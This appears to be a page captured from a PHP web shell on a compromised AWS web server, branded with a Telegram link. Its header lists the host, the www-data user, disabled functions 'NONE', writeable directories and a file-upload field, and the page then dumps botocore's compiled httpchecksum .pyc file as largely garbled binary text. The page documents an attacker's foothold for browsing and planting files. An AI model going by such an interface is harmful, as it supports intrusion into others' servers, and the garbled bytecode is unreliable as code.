https://t.me/RX1948
Server : nginx/1.24.0
System : Linux ip-172-31-33-48 6.14.0-1011-aws #11~24.04.1-Ubuntu SMP Fri Aug 1 02:07:25 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
Directory :  /lib/python3/dist-packages/botocore/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/botocore/__pycache__/httpchecksum.cpython-312.pyc
�

P��e�?��R�dZddlZddlZddlZddlmZddlmZmZddl	m
Z
ddlmZm
Z
mZddlmZddlmZmZe
rdd	lmZndZej.e�ZGd
�d�ZGd�d
e�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�d�Z Gd�de�Z!d�Z"	d)d�Z#d�Z$d�Z%d�Z&	d)d�Z'd �Z(d!�Z)d"�Z*eeed#�Z+d$d%gZ,e
r5eed&�Z-e+j]e-�e/d'�e-ja�D��sJ�e1e+ja��Z2gd(�Z3y)*aC The interfaces in this module are not intended for public use.

This module defines interfaces for applying checksums to HTTP requests within
the context of botocore. This involves both resolving the checksum to be used
based on client configuration and environment, as well as application of the
checksum to the request.
�N)�crc32)�sha1�sha256)�HAS_CRT)�AwsChunkedWrapperError�FlexibleChecksumError�MissingDependencyException)�
StreamingBody)�conditionally_calculate_md5�determine_content_length)�	checksumsc�.�eZdZdZd�Zd�Zd�Zd�Zd�Zy)�BaseChecksum�c��y�N���self�chunks  �7/usr/lib/python3/dist-packages/botocore/httpchecksum.py�updatezBaseChecksum.update2����c��yrr�rs r�digestzBaseChecksum.digest5rrc�j�|j�}tj|�jd�S)N�ascii)r�base64�	b64encode�decode)r�bss  r�	b64digestzBaseChecksum.b64digest8s)��
�[�[�]������#�*�*�7�3�3rc�����j�}t��fd�d�D]}�j|���j|�y)Nc�:���j�j�Sr)�read�_CHUNK_SIZE)�fileobjrs��r�<lambda>z.BaseChecksum._handle_fileobj.<locals>.<lambda>>s���'�,�,�t�/?�/?�"@�rr)�tell�iterr�seek)rr)�start_positionrs``  r�_handle_fileobjzBaseChecksum._handle_fileobj<s=��� ������@�#�F�	�E��K�K���	����^�$rc��t|ttf�r!|j|�|j�S|j	|�|j�Sr)�
isinstance�bytes�	bytearrayrr/r$)r�bodys  r�handlezBaseChecksum.handleBsI���d�U�I�.�/��K�K����~�~���
� � ��&��~�~��rN)	�__name__�
__module__�__qualname__r(rrr$r/r5rrrrr/s ���K�
�
�4�%� rrc��eZdZd�Zd�Zd�Zy)�
Crc32Checksumc��d|_y�Nr��
_int_crc32rs r�__init__zCrc32Checksum.__init__K�	����rc�@�t||j�dz|_y�Nl��)rr>rs  rrzCrc32Checksum.updateNs����t���7�*�D��rc�<�|jjdd��S�N��big)�	byteorder�r>�to_bytesrs rrzCrc32Checksum.digestQ������'�'��U�'�;�;rN�r6r7r8r?rrrrrr:r:Js���E�<rr:c��eZdZd�Zd�Zd�Zy)�CrtCrc32Checksumc��d|_yr<r=rs rr?zCrtCrc32Checksum.__init__Wr@rc�X�tj||j�}|dz|_yrB)�
crt_checksumsrr>�rr�new_checksums   rrzCrtCrc32Checksum.updateZs$��$�*�*�5�$�/�/�B��&��3��rc�<�|jjdd��SrDrHrs rrzCrtCrc32Checksum.digest^rJrNrKrrrrMrMUs���4�<rrMc��eZdZd�Zd�Zd�Zy)�CrtCrc32cChecksumc��d|_yr<)�_int_crc32crs rr?zCrtCrc32cChecksum.__init__ds
����rc�X�tj||j�}|dz|_yrB)rP�crc32crWrQs   rrzCrtCrc32cChecksum.updategs'��$�+�+�E�4�3C�3C�D��'�*�4��rc�<�|jjdd��SrD)rWrIrs rrzCrtCrc32cChecksum.digestks�����(�(��e�(�<�<rNrKrrrrUrUbs���5�=rrUc��eZdZd�Zd�Zd�Zy)�Sha1Checksumc�"�t�|_yr)r�	_checksumrs rr?zSha1Checksum.__init__ps�����rc�:�|jj|�yr�r^rrs  rrzSha1Checksum.updates��������e�$rc�6�|jj�Sr�r^rrs rrzSha1Checksum.digestv����~�~�$�$�&�&rNrKrrrr\r\os�� �%�'rr\c��eZdZd�Zd�Zd�Zy)�Sha256Checksumc�"�t�|_yr)rr^rs rr?zSha256Checksum.__init__{s�����rc�:�|jj|�yrr`rs  rrzSha256Checksum.update~rarc�6�|jj�Srrcrs rrzSha256Checksum.digest�rdrNrKrrrrfrfzs��"�%�'rrfc�@�eZdZdZ			d	d�Zd�Zd
d�Zdd�Zd�Zd�Z	y)�AwsChunkedWrapperrNc�x�||_||_||_|j�|�|j}||_yr)�_raw�_checksum_name�
_checksum_cls�_reset�_DEFAULT_CHUNK_SIZE�_chunk_size)r�raw�checksum_cls�
checksum_name�
chunk_sizes     rr?zAwsChunkedWrapper.__init__�s=����	�+���)������
����1�1�J�%��rc�r�d|_d|_d|_|jr|j�|_yy)NrF)�
_remaining�	_completer^rors rrpzAwsChunkedWrapper._reset�s5��������������!�/�/�1�D�N�rc��|dk7s|dk7rtd���|j�|jjd�y)Nrz Can only seek to start of stream��	error_msg)rrprmr-)r�offset�whences   rr-zAwsChunkedWrapper.seek�s:���Q�;�&�A�+�(�<��
�	
���
��	�	���q�rc��|�|dkrd}|jr
|jsy|duxs|t|j�kD}|jsR|rP|xj|j�z
c_|duxs|t|j�kD}|js|r�P|�t|j�}|jd|}|j|d|_|S)Nrr)ryrx�len�_make_chunk)r�size�want_more_bytes�	to_returns    rr'zAwsChunkedWrapper.read�s�������	��D��>�>�$�/�/���$�,�E�$��T�_�_�1E�*E���.�.�_��O�O�t�/�/�1�1�O�"�d�l�I�d�S����5I�.I�O��.�.�_�
�<��t���'�D��O�O�E�T�*�	��/�/�$�%�0����rc���|jj|j�}tt	|��ddjd�}||_|jr|jj|�|jrW|jrK|jjd�}|jj�jd�}d||fzSd||fzS)N�rs0
%s:%s

s%s
%s
)rmr'rr�hexr��encoderyr^rrnr$)r�	raw_chunk�hex_len�name�checksums     rr�zAwsChunkedWrapper._make_chunk�s����I�I�N�N�4�#3�#3�4�	��c�)�n�%�a�b�)�0�0��9��&�����>�>��N�N�!�!�)�,��>�>�d�n�n��&�&�-�-�g�6�D��~�~�/�/�1�8�8��A�H�(�D�(�+;�;�;��'�9�!5�5�5rc#�dK�|js |j���|js�yy�wr)ryr�rs r�__iter__zAwsChunkedWrapper.__iter__�s%�����.�.��"�"�$�$��.�.�s�+0�0)Nzx-amz-checksumN)rr)
r6r7r8rqr?rpr-r'r�r�rrrrkrk�s1��%��
�&��&� 2���26�$%rrkc�0��eZdZ�fd�Zd�fd�	Zd�Z�xZS)�StreamingChecksumBodyc�B��t�|�||�||_||_yr)�superr?r^�	_expected)r�
raw_stream�content_lengthr��expected�	__class__s     �rr?zStreamingChecksumBody.__init__�s ���
����^�4�!���!��rc���t�|�|��}|jj|�|�|s|dkDr|j	�|S)N)�amtr)r�r'r^r�_validate_checksum)rr�rr�s   �rr'zStreamingChecksumBody.read�sC��������%�������e�$��;�u��q���#�#�%��rc���|jj�tj|j�k7r6d|j�d|jj���}t
|���y)N�Expected checksum �$ did not match calculated checksum: r{)r^rr �	b64decoder�r$r)rr|s  rr�z(StreamingChecksumBody._validate_checksum�sg���>�>� � �"�f�&6�&6�t�~�~�&F�F�$�T�^�^�$4�5�!�^�^�5�5�7�8�:�
�(�)�<�<�Grr)r6r7r8r?r'r��
__classcell__)r�s@rr�r��s���"�
�=rr�c�8�t|||�t|||�yr)�"resolve_request_checksum_algorithm�$resolve_response_checksum_algorithms)�request�operation_model�paramss   r�resolve_checksum_contextr��s��&�w���H�(��/�6�Jrc�4�|j}|jd�}|r�||vr�|�t}||j�}||vr;ts&|t
vrt
d|j��d����td|z���d}|jr|djd	�rd
}||d|zd�}|d
|dvry|djdi�}	||	d<|	|dd<y|js|jd�r#|djdi�}	d|	d<|	|dd<yy)N�requestAlgorithmMemberzUsing za requires an additional dependency. You will need to pip install botocore[crt] before proceeding.)�msgz"Unsupported checksum algorithm: %sr{�header�urlzhttps:�trailer�x-amz-checksum-%s)�	algorithm�inr�r��headers�contextr��request_algorithm�requestChecksumRequired�conditional-md5)�
http_checksum�get�_SUPPORTED_CHECKSUM_ALGORITHMS�lowerr�_CRT_CHECKSUM_ALGORITHMSr	�upperr�has_streaming_input�
startswith�http_checksum_required)
r�r�r��supported_algorithmsr��algorithm_member�algorithm_name�
location_typer��checksum_contexts
          rr�r��s~��$�1�1�M�$�(�(�)A�B���,��6� �'�#A� �� 0�1�7�7�9���!5�5��~�1I�I�0� ��!5�!5�!7� 8�9;�;���(�>��O��
�!�
��.�.��u�~�(�(��2�!*�
�(��'�.�8�
�	��V���	� 2�2��"�9�-�1�1�*�b�A��09��,�-�)9��	��:�&�	�	/�	/�=�3D�3D�!�4�#�9�-�1�1�*�b�A��0A��,�-�)9��	��:�&�
4rc��|jdi�jdi�}|jd�}|sy|dk(rt|�y|ddk(rt|�y|ddk(rt|�yt	d|dz�	��)
Nr�r�r�r�r�r�r�zUnknown checksum variant: %sr{)r�r�_apply_request_header_checksum�_apply_request_trailer_checksumr)r�r�r�s   r�apply_request_checksumr�,s����{�{�9�b�1�5�5�j�"�E�� �$�$�%8�9�I����%�%�#�G�,�	�4��H�	$�&�w�/�	�4��I�	%�'��0�#�4�y���F�
�	
rc��|jdi�jdi�}|jd�}|d}||dvrytj|d�}|�j|d�}||d|<y)Nr�r�r�r�r�r�r4)r��
_CHECKSUM_CLSr5)r�r�r��
location_namertrs      rr�r�@s����{�{�9�b�1�5�5�j�"�E�� �$�$�%8�9�I��f�%�M���	�*�*�� �$�$�Y�{�%;�<�L�
�^�
"�
"�7�6�?�
3�F�(.�G�I��}�%rc��|jdi�jdi�}|jd�}|d}tj|d�}|d}|d}||vryd|d	<d
|vr|d
xxdz
cc<nd|d
<||d
<t|�}|�t|�|d<t	|t
tf�rtj|�}t|||��|d<y)Nr�r�r�r�r�r�r4�chunkedzTransfer-EncodingzContent-Encodingz,aws-chunkedzaws-chunkedz
X-Amz-TrailerzX-Amz-Decoded-Content-Length)rtru)
r�r�r�strr1r2r3�io�BytesIOrk)r�r�r�r�rtr�r4r�s        rr�r�Ls����{�{�9�b�1�5�5�j�"�E�� �$�$�%8�9�I��f�%�M� �$�$�Y�{�%;�<�L��i� �G��6�?�D�����#,�G�� ��W�$�	�"�#�~�5�#�&3��"�#�,�G�O��-�d�3�N��!�36�n�2E��.�/��$��	�*�+��z�z�$���'��!�#��G�F�Orc�V�|j}|jd�}|r�||vr�|�t}|jdg�D�chc]}|j���}}g}tD]}	|	|vr�|	|vs�
|j|	��|djdi�}
||
d<|
|dd<yyycc}w)N�requestValidationModeMember�responseAlgorithmsr�r��response_algorithms)r�r�r�r��_ALGORITHMS_PRIORITY_LIST�append)r�r�r�r�r��mode_member�ar��usable_algorithmsr�r�s           rr�r�rs���$�1�1�M��#�#�$A�B�K��{�f�,��'�#A� �,�0�0�1E�r�J�
��A�G�G�I�
��
���2�	4�I�� 3�3���0�0�!�(�(��3�		4�#�9�-�1�1�*�b�A��2C��.�/�)9��	��:�&�!-�{��
s�B&c�^�|d}|jdi�}|jd�}|sy|D]d}d|z}||vr�
d||vr�|jrt|||�|d<nt|||�|d<|djdi�}||d<||dd<ytjd	|�d
��y)Nr�r�r�r��-r4r��response_algorithmzXSkipping checksum validation. Response did not contain one of the following algorithms: �.)r��has_streaming_output�_handle_streaming_response�_handle_bytes_response�logger�info)	�
http_response�responser�r�r�r��
algorithmsr��header_names	         r�handle_checksum_bodyr��s����y�!�G��{�{�:�r�2��!�%�%�&;�<�J�����	�)�I�5���g�%��
�'�+�&�&���/�/�9��x�� �H�V�� 6��x�� �H�V��
$�I�.�2�2�:�r�B��1:��-�.�*:����J�'��3�6�K�K�!�!+��A�	/�rc��tj|�}d|z}t|j|djd�|�|d|�S)Nr�r�zcontent-length)r�r�r�rs)r�r�r�rtr�s     rr�r��sX�� �$�$�Y�/�L�%�	�1�K� ��������� 0�1������K�(�	�rc�"�|j}d|z}tj|�}|�}|j|�|d|}|j	�tj|�k7r"d|�d|j���}t|���|S)Nr�r�r�r�r{)	�contentr�r�rrr r�r$r)	r�r�r�r4r�rtr�r�r|s	         rr�r��s���� � �D�%�	�1�K� �$�$�Y�/�L��~�H��O�O�D���	�"�;�/�H�����F�,�,�X�6�6���"�"�$�
�	�$�i�8�8��Kr)rrrrrY)rrYc#�,K�|]}|tv���y�wr)r�)�.0r�s  r�	<genexpr>r��s�����-1��(�(��s�)rYrrrr)4�__doc__r r��logging�binasciir�hashlibrr�botocore.compatr�botocore.exceptionsrrr	�botocore.responser
�botocore.utilsrr�awscrtr
rP�	getLoggerr6r�rr:rMrUr\rfrkr�r�r�r�r�r�r�r�r�r�r�r��_CRT_CHECKSUM_CLSr�all�keys�listr�r�rrr�<module>r�ss����	��� �#���
,��
�1��M�	��	�	�8�	$�� � �6<�L�<�
<�|�
<�
=��
=�'�<�'�'�\�'�O%�O%�d=�M�=�,K��	7:�t
�(	/�#�N<@�:�0&�R��(����
�
$�X�.��
�"�#������*�+���5F�5K�5K�5M�����"&�m�&8�&8�&:�!;��A�r

https://t.me/RX1948 - 2025